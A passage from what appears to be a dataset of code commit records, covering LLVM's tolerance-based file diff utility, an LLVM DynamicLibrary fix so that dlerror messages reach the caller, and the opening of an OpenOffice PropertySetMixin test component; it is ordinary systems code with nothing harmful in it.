(isDNotation);\n  } else {\n    \/\/ Otherwise, the diff failed.\n    F1NumEnd = F1P;\n    F2NumEnd = F2P;\n  }\n\n  if (F1NumEnd == F1P || F2NumEnd == F2P) {\n    if (ErrorMsg) {\n      *ErrorMsg = \"FP Comparison failed, not a numeric difference between '\";\n      *ErrorMsg += F1P[0];\n      *ErrorMsg += \"' and '\";\n      *ErrorMsg += F2P[0];\n      *ErrorMsg += \"'\";\n    }\n    return true;\n  }\n\n  \/\/ Check to see if these are inside the absolute tolerance\n  if (AbsTolerance < std::abs(V1-V2)) {\n    \/\/ Nope, check the relative tolerance...\n    double Diff;\n    if (V2)\n      Diff = std::abs(V1\/V2 - 1.0);\n    else if (V1)\n      Diff = std::abs(V2\/V1 - 1.0);\n    else\n      Diff = 0;  \/\/ Both zero.\n    if (Diff > RelTolerance) {\n      if (ErrorMsg) {\n        *ErrorMsg = \"Compared: \" + ftostr(V1) + \" and \" + ftostr(V2) + \"\\n\";\n        *ErrorMsg += \"abs. diff = \" + ftostr(std::abs(V1-V2)) + \n                     \" rel.diff = \" + ftostr(Diff) + \"\\n\";\n        *ErrorMsg += \"Out of tolerance: rel\/abs: \" + ftostr(RelTolerance) +\n                     \"\/\" + ftostr(AbsTolerance);\n      }\n      return true;\n    }\n  }\n\n  \/\/ Otherwise, advance our read pointers to the end of the numbers.\n  F1P = F1NumEnd;  F2P = F2NumEnd;\n  return false;\n}\n\n\/\/ PadFileIfNeeded - If the files are not identical, we will have to be doing\n\/\/ numeric comparisons in here.  There are bad cases involved where we (i.e.,\n\/\/ strtod) might run off the beginning or end of the file if it starts or ends\n\/\/ with a number.  Because of this, if needed, we pad the file so that it starts\n\/\/ and ends with a null character.\nstatic void PadFileIfNeeded(char *&FileStart, char *&FileEnd, char *&FP) {\n  if (FileStart-FileEnd < 2 ||\n      isNumberChar(FileStart[0]) || isNumberChar(FileEnd[-1])) {\n    unsigned FileLen = FileEnd-FileStart;\n    char *NewFile = new char[FileLen+2];\n    NewFile[0] = 0;              \/\/ Add null padding\n    NewFile[FileLen+1] = 0;      \/\/ Add null padding\n    memcpy(NewFile+1, FileStart, FileLen);\n    FP = NewFile+(FP-FileStart)+1;\n    FileStart = NewFile+1;\n    FileEnd = FileStart+FileLen;\n  }\n}\n\n\/\/\/ DiffFilesWithTolerance - Compare the two files specified, returning 0 if the\n\/\/\/ files match, 1 if they are different, and 2 if there is a file error.  This\n\/\/\/ function differs from DiffFiles in that you can specify an absolete and\n\/\/\/ relative FP error that is allowed to exist.  If you specify a string to fill\n\/\/\/ in for the error option, it will set the string to an error message if an\n\/\/\/ error occurs, allowing the caller to distinguish between a failed diff and a\n\/\/\/ file system error.\n\/\/\/\nint llvm::DiffFilesWithTolerance(const sys::PathWithStatus &FileA,\n                                 const sys::PathWithStatus &FileB,\n                                 double AbsTol, double RelTol,\n                                 std::string *Error) {\n  const sys::FileStatus *FileAStat = FileA.getFileStatus(false, Error);\n  if (!FileAStat)\n    return 2;\n  const sys::FileStatus *FileBStat = FileB.getFileStatus(false, Error);\n  if (!FileBStat)\n    return 2;\n\n  \/\/ Check for zero length files because some systems croak when you try to\n  \/\/ mmap an empty file.\n  size_t A_size = FileAStat->getSize();\n  size_t B_size = FileBStat->getSize();\n\n  \/\/ If they are both zero sized then they're the same\n  if (A_size == 0 && B_size == 0)\n    return 0;\n\n  \/\/ If only one of them is zero sized then they can't be the same\n  if ((A_size == 0 || B_size == 0)) {\n    if (Error)\n      *Error = \"Files differ: one is zero-sized, the other isn't\";\n    return 1;\n  }\n\n  \/\/ Now its safe to mmap the files into memory becasue both files\n  \/\/ have a non-zero size.\n  sys::MappedFile F1;\n  if (F1.open(FileA, sys::MappedFile::READ_ACCESS, Error))\n    return 2;\n  sys::MappedFile F2;\n  if (F2.open(FileB, sys::MappedFile::READ_ACCESS, Error))\n    return 2;\n  if (!F1.map(Error))\n    return 2;\n  if (!F2.map(Error))\n    return 2;\n\n  \/\/ Okay, now that we opened the files, scan them for the first difference.\n  char *File1Start = F1.charBase();\n  char *File2Start = F2.charBase();\n  char *File1End = File1Start+A_size;\n  char *File2End = File2Start+B_size;\n  char *F1P = File1Start;\n  char *F2P = File2Start;\n\n  if (A_size == B_size) {\n    \/\/ Are the buffers identical?\n    if (std::memcmp(File1Start, File2Start, A_size) == 0)\n      return 0;\n\n    if (AbsTol == 0 && RelTol == 0) {\n      if (Error)\n        *Error = \"Files differ without tolerance allowance\";\n      return 1;   \/\/ Files different!\n    }\n  }\n\n  char *OrigFile1Start = File1Start;\n  char *OrigFile2Start = File2Start;\n\n  \/\/ If the files need padding, do so now.\n  PadFileIfNeeded(File1Start, File1End, F1P);\n  PadFileIfNeeded(File2Start, File2End, F2P);\n\n  bool CompareFailed = false;\n  while (1) {\n    \/\/ Scan for the end of file or next difference.\n    while (F1P < File1End && F2P < File2End && *F1P == *F2P)\n      ++F1P, ++F2P;\n\n    if (F1P >= File1End || F2P >= File2End) break;\n\n    \/\/ Okay, we must have found a difference.  Backup to the start of the\n    \/\/ current number each stream is at so that we can compare from the\n    \/\/ beginning.\n    F1P = BackupNumber(F1P, File1Start);\n    F2P = BackupNumber(F2P, File2Start);\n\n    \/\/ Now that we are at the start of the numbers, compare them, exiting if\n    \/\/ they don't match.\n    if (CompareNumbers(F1P, F2P, File1End, File2End, AbsTol, RelTol, Error)) {\n      CompareFailed = true;\n      break;\n    }\n  }\n\n  \/\/ Okay, we reached the end of file.  If both files are at the end, we\n  \/\/ succeeded.\n  bool F1AtEnd = F1P >= File1End;\n  bool F2AtEnd = F2P >= File2End;\n  if (!CompareFailed && (!F1AtEnd || !F2AtEnd)) {\n    \/\/ Else, we might have run off the end due to a number: backup and retry.\n    if (F1AtEnd && isNumberChar(F1P[-1])) --F1P;\n    if (F2AtEnd && isNumberChar(F2P[-1])) --F2P;\n    F1P = BackupNumber(F1P, File1Start);\n    F2P = BackupNumber(F2P, File2Start);\n\n    \/\/ Now that we are at the start of the numbers, compare them, exiting if\n    \/\/ they don't match.\n    if (CompareNumbers(F1P, F2P, File1End, File2End, AbsTol, RelTol, Error))\n      CompareFailed = true;\n\n    \/\/ If we found the end, we succeeded.\n    if (F1P < File1End || F2P < File2End)\n      CompareFailed = true;\n  }\n\n  if (OrigFile1Start != File1Start)\n    delete[] (File1Start-1);   \/\/ Back up past null byte\n  if (OrigFile2Start != File2Start)\n    delete[] (File2Start-1);   \/\/ Back up past null byte\n  return CompareFailed;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- DynamicLibrary.cpp - Runtime link\/load libraries --------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This header file implements the operating system DynamicLibrary concept.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/System\/DynamicLibrary.h\"\n#include \"llvm\/Config\/config.h\"\n#include <cstring>\n#include <map>\n\n\/\/ Collection of symbol name\/value pairs to be searched prior to any libraries.\nstatic std::map<std::string, void *> g_symbols;\n\nvoid llvm::sys::DynamicLibrary::AddSymbol(const char* symbolName,\n                                          void *symbolValue) {\n  g_symbols[symbolName] = symbolValue;\n}\n\n\/\/ It is not possible to use ltdl.c on VC++ builds as the terms of its LGPL\n\/\/ license and special exception would cause all of LLVM to be placed under\n\/\/ the LGPL.  This is because the exception applies only when libtool is\n\/\/ used, and obviously libtool is not used with Visual Studio.  An entirely\n\/\/ separate implementation is provided in win32\/DynamicLibrary.cpp.\n\n#ifdef LLVM_ON_WIN32\n\n#include \"Win32\/DynamicLibrary.inc\"\n\n#else\n\n\/\/#include \"ltdl.h\"\n#include <dlfcn.h>\n#include <cassert>\nusing namespace llvm;\nusing namespace llvm::sys;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/=== WARNING: Implementation here must contain only TRULY operating system\n\/\/===          independent code.\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/static std::vector<lt_dlhandle> OpenedHandles;\nstatic std::vector<void *> OpenedHandles;\n\nDynamicLibrary::DynamicLibrary() : handle(0) {}\n\nDynamicLibrary::~DynamicLibrary() {\n  while(!OpenedHandles.empty()) {\n    void *H = OpenedHandles.back();   OpenedHandles.pop_back(); \n    dlclose(H);\n  }\n}\n\nbool DynamicLibrary::LoadLibraryPermanently(const char *Filename,\n                                            std::string *ErrMsg) {\n  void *H = dlopen(Filename, RTLD_LAZY);\n  if (H == 0) {\n    ErrMsg = new std::string(dlerror());\n    return true;\n  }\n  OpenedHandles.push_back(H);\n  return false;\n}\n\nvoid* DynamicLibrary::SearchForAddressOfSymbol(const char* symbolName) {\n  \/\/  check_ltdl_initialization();\n\n  \/\/ First check symbols added via AddSymbol().\n  std::map<std::string, void *>::iterator I = g_symbols.find(symbolName);\n  if (I != g_symbols.end())\n    return I->second;\n\n  \/\/ Now search the libraries.\n  for (std::vector<void *>::iterator I = OpenedHandles.begin(),\n       E = OpenedHandles.end(); I != E; ++I) {\n    \/\/lt_ptr ptr = lt_dlsym(*I, symbolName);\n    void *ptr = dlsym(*I, symbolName);\n    if (ptr)\n      return ptr;\n  }\n\n#define EXPLICIT_SYMBOL(SYM) \\\n   extern void *SYM; if (!strcmp(symbolName, #SYM)) return &SYM\n\n  \/\/ If this is darwin, it has some funky issues, try to solve them here.  Some\n  \/\/ important symbols are marked 'private external' which doesn't allow\n  \/\/ SearchForAddressOfSymbol to find them.  As such, we special case them here,\n  \/\/ there is only a small handful of them.\n\n#ifdef __APPLE__\n  {\n    EXPLICIT_SYMBOL(__ashldi3);\n    EXPLICIT_SYMBOL(__ashrdi3);\n    EXPLICIT_SYMBOL(__cmpdi2);\n    EXPLICIT_SYMBOL(__divdi3);\n    EXPLICIT_SYMBOL(__eprintf);\n    EXPLICIT_SYMBOL(__fixdfdi);\n    EXPLICIT_SYMBOL(__fixsfdi);\n    EXPLICIT_SYMBOL(__fixunsdfdi);\n    EXPLICIT_SYMBOL(__fixunssfdi);\n    EXPLICIT_SYMBOL(__floatdidf);\n    EXPLICIT_SYMBOL(__floatdisf);\n    EXPLICIT_SYMBOL(__lshrdi3);\n    EXPLICIT_SYMBOL(__moddi3);\n    EXPLICIT_SYMBOL(__udivdi3);\n    EXPLICIT_SYMBOL(__umoddi3);\n  }\n#endif\n\n#ifdef __CYGWIN__\n  {\n    EXPLICIT_SYMBOL(_alloca);\n    EXPLICIT_SYMBOL(__main);\n  }\n#endif\n\n#undef EXPLICIT_SYMBOL\n\n\/\/ This macro returns the address of a well-known, explicit symbol\n#define EXPLICIT_SYMBOL(SYM) \\\n   if (!strcmp(symbolName, #SYM)) return &SYM\n\n\/\/ On linux we have a weird situation. The stderr\/out\/in symbols are both\n\/\/ macros and global variables because of standards requirements. So, we \n\/\/ boldly use the EXPLICIT_SYMBOL macro without checking for a #define first.\n#if defined(__linux__)\n  {\n    EXPLICIT_SYMBOL(stderr);\n    EXPLICIT_SYMBOL(stdout);\n    EXPLICIT_SYMBOL(stdin);\n  }\n#else\n  \/\/ For everything else, we want to check to make sure the symbol isn't defined\n  \/\/ as a macro before using EXPLICIT_SYMBOL.\n  {\n#ifndef stdin\n    EXPLICIT_SYMBOL(stdin);\n#endif\n#ifndef stdout\n    EXPLICIT_SYMBOL(stdout);\n#endif\n#ifndef stderr\n    EXPLICIT_SYMBOL(stderr);\n#endif\n  }\n#endif\n#undef EXPLICIT_SYMBOL\n\n  return 0;\n}\n\nvoid *DynamicLibrary::GetAddressOfSymbol(const char *symbolName) {\n  assert(handle != 0 && \"Invalid DynamicLibrary handle\");\n  return dlsym(handle, symbolName);\n}\n\n#endif \/\/ LLVM_ON_WIN32\n\nDEFINING_FILE_FOR(SystemDynamicLibrary)\n<commit_msg>This is a simple fix for getting error messages from dlerror in LoadLibraryPermanently. The current code modifies the value of a pointer that is passed by value, so the caller never gets the message.<commit_after>\/\/===-- DynamicLibrary.cpp - Runtime link\/load libraries --------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This header file implements the operating system DynamicLibrary concept.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/System\/DynamicLibrary.h\"\n#include \"llvm\/Config\/config.h\"\n#include <cstring>\n#include <map>\n\n\/\/ Collection of symbol name\/value pairs to be searched prior to any libraries.\nstatic std::map<std::string, void *> g_symbols;\n\nvoid llvm::sys::DynamicLibrary::AddSymbol(const char* symbolName,\n                                          void *symbolValue) {\n  g_symbols[symbolName] = symbolValue;\n}\n\n\/\/ It is not possible to use ltdl.c on VC++ builds as the terms of its LGPL\n\/\/ license and special exception would cause all of LLVM to be placed under\n\/\/ the LGPL.  This is because the exception applies only when libtool is\n\/\/ used, and obviously libtool is not used with Visual Studio.  An entirely\n\/\/ separate implementation is provided in win32\/DynamicLibrary.cpp.\n\n#ifdef LLVM_ON_WIN32\n\n#include \"Win32\/DynamicLibrary.inc\"\n\n#else\n\n\/\/#include \"ltdl.h\"\n#include <dlfcn.h>\n#include <cassert>\nusing namespace llvm;\nusing namespace llvm::sys;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/=== WARNING: Implementation here must contain only TRULY operating system\n\/\/===          independent code.\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/static std::vector<lt_dlhandle> OpenedHandles;\nstatic std::vector<void *> OpenedHandles;\n\nDynamicLibrary::DynamicLibrary() : handle(0) {}\n\nDynamicLibrary::~DynamicLibrary() {\n  while(!OpenedHandles.empty()) {\n    void *H = OpenedHandles.back();   OpenedHandles.pop_back(); \n    dlclose(H);\n  }\n}\n\nbool DynamicLibrary::LoadLibraryPermanently(const char *Filename,\n                                            std::string *ErrMsg) {\n  void *H = dlopen(Filename, RTLD_LAZY);\n  if (H == 0) {\n    if (ErrMsg)\n      *ErrMsg = dlerror();\n    return true;\n  }\n  OpenedHandles.push_back(H);\n  return false;\n}\n\nvoid* DynamicLibrary::SearchForAddressOfSymbol(const char* symbolName) {\n  \/\/  check_ltdl_initialization();\n\n  \/\/ First check symbols added via AddSymbol().\n  std::map<std::string, void *>::iterator I = g_symbols.find(symbolName);\n  if (I != g_symbols.end())\n    return I->second;\n\n  \/\/ Now search the libraries.\n  for (std::vector<void *>::iterator I = OpenedHandles.begin(),\n       E = OpenedHandles.end(); I != E; ++I) {\n    \/\/lt_ptr ptr = lt_dlsym(*I, symbolName);\n    void *ptr = dlsym(*I, symbolName);\n    if (ptr)\n      return ptr;\n  }\n\n#define EXPLICIT_SYMBOL(SYM) \\\n   extern void *SYM; if (!strcmp(symbolName, #SYM)) return &SYM\n\n  \/\/ If this is darwin, it has some funky issues, try to solve them here.  Some\n  \/\/ important symbols are marked 'private external' which doesn't allow\n  \/\/ SearchForAddressOfSymbol to find them.  As such, we special case them here,\n  \/\/ there is only a small handful of them.\n\n#ifdef __APPLE__\n  {\n    EXPLICIT_SYMBOL(__ashldi3);\n    EXPLICIT_SYMBOL(__ashrdi3);\n    EXPLICIT_SYMBOL(__cmpdi2);\n    EXPLICIT_SYMBOL(__divdi3);\n    EXPLICIT_SYMBOL(__eprintf);\n    EXPLICIT_SYMBOL(__fixdfdi);\n    EXPLICIT_SYMBOL(__fixsfdi);\n    EXPLICIT_SYMBOL(__fixunsdfdi);\n    EXPLICIT_SYMBOL(__fixunssfdi);\n    EXPLICIT_SYMBOL(__floatdidf);\n    EXPLICIT_SYMBOL(__floatdisf);\n    EXPLICIT_SYMBOL(__lshrdi3);\n    EXPLICIT_SYMBOL(__moddi3);\n    EXPLICIT_SYMBOL(__udivdi3);\n    EXPLICIT_SYMBOL(__umoddi3);\n  }\n#endif\n\n#ifdef __CYGWIN__\n  {\n    EXPLICIT_SYMBOL(_alloca);\n    EXPLICIT_SYMBOL(__main);\n  }\n#endif\n\n#undef EXPLICIT_SYMBOL\n\n\/\/ This macro returns the address of a well-known, explicit symbol\n#define EXPLICIT_SYMBOL(SYM) \\\n   if (!strcmp(symbolName, #SYM)) return &SYM\n\n\/\/ On linux we have a weird situation. The stderr\/out\/in symbols are both\n\/\/ macros and global variables because of standards requirements. So, we \n\/\/ boldly use the EXPLICIT_SYMBOL macro without checking for a #define first.\n#if defined(__linux__)\n  {\n    EXPLICIT_SYMBOL(stderr);\n    EXPLICIT_SYMBOL(stdout);\n    EXPLICIT_SYMBOL(stdin);\n  }\n#else\n  \/\/ For everything else, we want to check to make sure the symbol isn't defined\n  \/\/ as a macro before using EXPLICIT_SYMBOL.\n  {\n#ifndef stdin\n    EXPLICIT_SYMBOL(stdin);\n#endif\n#ifndef stdout\n    EXPLICIT_SYMBOL(stdout);\n#endif\n#ifndef stderr\n    EXPLICIT_SYMBOL(stderr);\n#endif\n  }\n#endif\n#undef EXPLICIT_SYMBOL\n\n  return 0;\n}\n\nvoid *DynamicLibrary::GetAddressOfSymbol(const char *symbolName) {\n  assert(handle != 0 && \"Invalid DynamicLibrary handle\");\n  return dlsym(handle, symbolName);\n}\n\n#endif \/\/ LLVM_ON_WIN32\n\nDEFINING_FILE_FOR(SystemDynamicLibrary)\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: comp_propertysetmixin.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: rt $ $Date: 2008-03-26 11:56:47 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_cppuhelper.hxx\"\n\n#include \"sal\/config.h\"\n\n#include \"test\/cppuhelper\/propertysetmixin\/XSupplier.hpp\"\n#include \"test\/cppuhelper\/propertysetmixin\/XTest3.hpp\"\n\n#include \"com\/sun\/star\/beans\/Ambiguous.hpp\"\n#include \"com\/sun\/star\/beans\/Defaulted.hpp\"\n#include \"com\/sun\/star\/beans\/Optional.hpp\"\n#include \"com\/sun\/star\/beans\/PropertyVetoException.hpp\"\n#include \"com\/sun\/star\/beans\/UnknownPropertyException.hpp\"\n#include \"com\/sun\/star\/lang\/XComponent.hpp\"\n#include \"cppuhelper\/propertysetmixin.hxx\"\n#include \"cppuhelper\/factory.hxx\"\n#include \"cppuhelper\/implbase1.hxx\"\n#include \"cppuhelper\/implementationentry.hxx\"\n#include \"cppuhelper\/queryinterface.hxx\"\n#include \"cppuhelper\/weak.hxx\"\n#include \"com\/sun\/star\/uno\/Any.hxx\"\n#include \"com\/sun\/star\/uno\/Exception.hpp\"\n#include \"com\/sun\/star\/uno\/Reference.hxx\"\n#include \"com\/sun\/star\/uno\/RuntimeException.hpp\"\n#include \"com\/sun\/star\/uno\/Sequence.hxx\"\n#include \"com\/sun\/star\/uno\/Type.hxx\"\n#include \"com\/sun\/star\/uno\/XComponentContext.hpp\"\n#include \"com\/sun\/star\/uno\/XInterface.hpp\"\n#include \"osl\/mutex.hxx\"\n#include \"rtl\/ustring.h\"\n#include \"rtl\/ustring.hxx\"\n#include \"sal\/types.h\"\n#include \"uno\/lbnames.h\"\n\nnamespace com { namespace sun { namespace star {\n    class XEventListener;\n} } }\n\nnamespace css = com::sun::star;\n\nnamespace {\n\nclass Empty1:\n    public cppu::OWeakObject, public css::lang::XComponent,\n    public cppu::PropertySetMixin< css::lang::XComponent >\n{\npublic:\n    explicit Empty1(\n        css::uno::Reference< css::uno::XComponentContext > const & context):\n        cppu::PropertySetMixin< css::lang::XComponent >(\n            context, static_cast< Implements >(0),\n            css::uno::Sequence< rtl::OUString >())\n    {}\n\n    virtual css::uno::Any SAL_CALL queryInterface(css::uno::Type const & type)\n        throw (css::uno::RuntimeException);\n\n    virtual void SAL_CALL acquire() throw () { OWeakObject::acquire(); }\n\n    virtual void SAL_CALL release() throw () { OWeakObject::release(); }\n\n    virtual void SAL_CALL dispose() throw (css::uno::RuntimeException) {\n        cppu::PropertySetMixin< css::lang::XComponent >::dispose();\n    }\n\n    virtual void SAL_CALL addEventListener(\n        css::uno::Reference< css::lang::XEventListener > const &)\n        throw (css::uno::RuntimeException)\n    {}\n\n    virtual void SAL_CALL removeEventListener(\n        css::uno::Reference< css::lang::XEventListener > const &)\n        throw (css::uno::RuntimeException)\n    {}\n\nprivate:\n    Empty1(Empty1 &); \/\/ not defined\n    void operator =(Empty1 &); \/\/ not defined\n\n    virtual ~Empty1() {}\n};\n\ncss::uno::Any Empty1::queryInterface(css::uno::Type const & type)\n    throw (css::uno::RuntimeException)\n{\n    css::uno::Any a(OWeakObject::queryInterface(type));\n    if (a.hasValue()) {\n        return a;\n    }\n    a = cppu::queryInterface(\n        type, static_cast< css::lang::XComponent * >(this));\n    return a.hasValue()\n        ? a\n        : cppu::PropertySetMixin< css::lang::XComponent >::queryInterface(\n            type);\n}\n\nclass Empty2:\n    public cppu::OWeakObject, public css::lang::XComponent,\n    public cppu::PropertySetMixin< css::lang::XComponent >\n{\npublic:\n    explicit Empty2(\n        css::uno::Reference< css::uno::XComponentContext > const & context):\n        cppu::PropertySetMixin< css::lang::XComponent >(\n            context,\n            static_cast< Implements >(\n                IMPLEMENTS_PROPERTY_SET | IMPLEMENTS_FAST_PROPERTY_SET\n                | IMPLEMENTS_PROPERTY_ACCESS),\n            css::uno::Sequence< rtl::OUString >())\n    {}\n\n    virtual css::uno::Any SAL_CALL queryInterface(css::uno::Type const & type)\n        throw (css::uno::RuntimeException);\n\n    virtual void SAL_CALL acquire() throw () { OWeakObject::acquire(); }\n\n    virtual void SAL_CALL release() throw () { OWeakObject::release(); }\n\n    virtual void SAL_CALL dispose() throw (css::uno::RuntimeException) {\n        cppu::PropertySetMixin< css::lang::XComponent >::dispose();\n    }\n\n    virtual void SAL_CALL addEventListener(\n        css::uno::Reference< css::lang::XEventListener > const &)\n        throw (css::uno::RuntimeException)\n    {}\n\n    virtual void SAL_CALL removeEventListener(\n        css::uno::Reference< css::lang::XEventListener > const &)\n        throw (css::uno::RuntimeException)\n    {}\n\nprivate:\n    Empty2(Empty2 &); \/\/ not defined\n    void operator =(Empty2 &); \/\/ not defined\n\n    virtual ~Empty2() {}\n};\n\ncss::uno::Any Empty2::queryInterface(css::uno::Type const & type)\n    throw (css::uno::RuntimeException)\n{\n    css::uno::Any a(OWeakObject::queryInterface(type));\n    if (a.hasValue()) {\n        return a;\n    }\n    a = cppu::queryInterface(\n        type, static_cast< css::lang::XComponent * >(this));\n    return a.hasValue()\n        ? a\n        : cppu::PropertySetMixin< css::lang::XComponent >::queryInterface(\n            type);\n}\n\ncss::uno::Sequence< rtl::OUString > sequenceThird() {\n    css::uno::Sequence< rtl::OUString > s(1);\n    s[0] = rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Third\"));\n    return s;\n}\n\nclass Full:\n    public cppu::OWeakObject, public test::cppuhelper::propertysetmixin::XTest3,\n    public cppu::PropertySetMixin<\n    test::cppuhelper::propertysetmixin::XTest3 >\n{\npublic:\n    explicit Full(\n        css::uno::Reference< css::uno::XComponentContext > const & context):\n        cppu::PropertySetMixin<\n        test::cppuhelper::propertysetmixin::XTest3 >(\n            context,\n            static_cast< Implements >(\n                IMPLEMENTS_PROPERTY_SET | IMPLEMENTS_FAST_PROPERTY_SET\n                | IMPLEMENTS_PROPERTY_ACCESS),\n            sequenceThird()),\n        m_a1(0),\n        m_a2(\n            css::beans::Defaulted< css::beans::Optional< sal_Int32 > >(\n                css::beans::Optional< sal_Int32 >(), true),\n            false)\n    {}\n\n    virtual css::uno::Any SAL_CALL queryInterface(css::uno::Type const & type)\n        throw (css::uno::RuntimeException);\n\n    virtual void SAL_CALL acquire() throw () { OWeakObject::acquire(); }\n\n    virtual void SAL_CALL release() throw () { OWeakObject::release(); }\n\n    virtual sal_Int32 SAL_CALL getFirst() throw (css::uno::RuntimeException);\n\n    virtual void SAL_CALL setFirst(sal_Int32 value)\n        throw (css::uno::RuntimeException);\n\n    virtual\n    css::beans::Ambiguous<\n        css::beans::Defaulted< css::beans::Optional< sal_Int32 > > >\n    SAL_CALL getSecond()\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual void SAL_CALL setSecond(\n        css::beans::Ambiguous<\n        css::beans::Defaulted< css::beans::Optional< ::sal_Int32 > > > const &\n        value)\n        throw (\n            css::beans::PropertyVetoException,\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual sal_Int32 SAL_CALL getThird()\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual void SAL_CALL setThird(sal_Int32 value)\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual sal_Int32 SAL_CALL getFourth()\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual void SAL_CALL setFourth(sal_Int32 value)\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\nprivate:\n    Full(Full &); \/\/ not defined\n    void operator =(Full &); \/\/ not defined\n\n    virtual ~Full() {}\n\n    osl::Mutex m_mutex;\n    sal_Int32 m_a1;\n    css::beans::Ambiguous<\n        css::beans::Defaulted< css::beans::Optional< sal_Int32 > > > m_a2;\n};\n\ncss::uno::Any Full::queryInterface(css::uno::Type const & type)\n    throw (css::uno::RuntimeException)\n{\n    css::uno::Any a(OWeakObject::queryInterface(type));\n    if (a.hasValue()) {\n        return a;\n    }\n    a = cppu::queryInterface(\n        type,\n        static_cast< test::cppuhelper::propertysetmixin::XTest3 * >(this));\n    return a.hasValue()\n        ? a\n        : (cppu::PropertySetMixin<\n           test::cppuhelper::propertysetmixin::XTest3 >::queryInterface(\n               type));\n}\n\nsal_Int32 Full::getFirst() throw (css::uno::RuntimeException) {\n    osl::MutexGuard g(m_mutex);\n    return m_a1;\n}\n\nvoid Full::setFirst(sal_Int32 value) throw (css::uno::RuntimeException) {\n    prepareSet(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"First\")), css::uno::Any(),\n        css::uno::Any(), 0);\n    osl::MutexGuard g(m_mutex);\n    m_a1 = value;\n}\n\ncss::beans::Ambiguous<\n    css::beans::Defaulted< css::beans::Optional< sal_Int32 > > >\nFull::getSecond()\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    osl::MutexGuard g(m_mutex);\n    return m_a2;\n}\n\nvoid Full::setSecond(\n    css::beans::Ambiguous<\n    css::beans::Defaulted< css::beans::Optional< ::sal_Int32 > > > const &\n    value)\n    throw (\n        css::beans::PropertyVetoException, css::beans::UnknownPropertyException,\n        css::uno::RuntimeException)\n{\n    css::uno::Any v;\n    if (value.Value.Value.IsPresent) {\n        v <<= value.Value.Value.Value;\n    }\n    BoundListeners l;\n    prepareSet(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Second\")), css::uno::Any(),\n        v, &l);\n    {\n        osl::MutexGuard g(m_mutex);\n        m_a2 = value;\n    }\n    l.notify();\n}\n\nsal_Int32 Full::getThird()\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    throw css::beans::UnknownPropertyException(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Third\")),\n        static_cast< cppu::OWeakObject * >(this));\n}\n\nvoid Full::setThird(sal_Int32)\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    throw css::beans::UnknownPropertyException(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Third\")),\n        static_cast< cppu::OWeakObject * >(this));\n}\n\nsal_Int32 Full::getFourth()\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    throw css::beans::UnknownPropertyException(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Fourth\")),\n        static_cast< cppu::OWeakObject * >(this));\n}\n\nvoid Full::setFourth(sal_Int32)\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    throw css::beans::UnknownPropertyException(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Fourth\")),\n        static_cast< cppu::OWeakObject * >(this));\n}\n\nclass Supplier:\n    public cppu::WeakImplHelper1<\n    test::cppuhelper::propertysetmixin::XSupplier >\n{\npublic:\n    explicit Supplier(\n        css::uno::Reference< css::uno::XComponentContext > const & context):\n        m_context(context) {}\n\n    virtual css::uno::Reference< css::lang::XComponent > SAL_CALL getEmpty1()\n        throw (css::uno::RuntimeException)\n    { return new Empty1(m_context); }\n\n    virtual css::uno::Reference< css::lang::XComponent > SAL_CALL getEmpty2()\n        throw (css::uno::RuntimeException)\n    { return new Empty2(m_context); }\n\n    virtual css::uno::Reference< test::cppuhelper::propertysetmixin::XTest3 >\n    SAL_CALL getFull() throw (css::uno::RuntimeException)\n    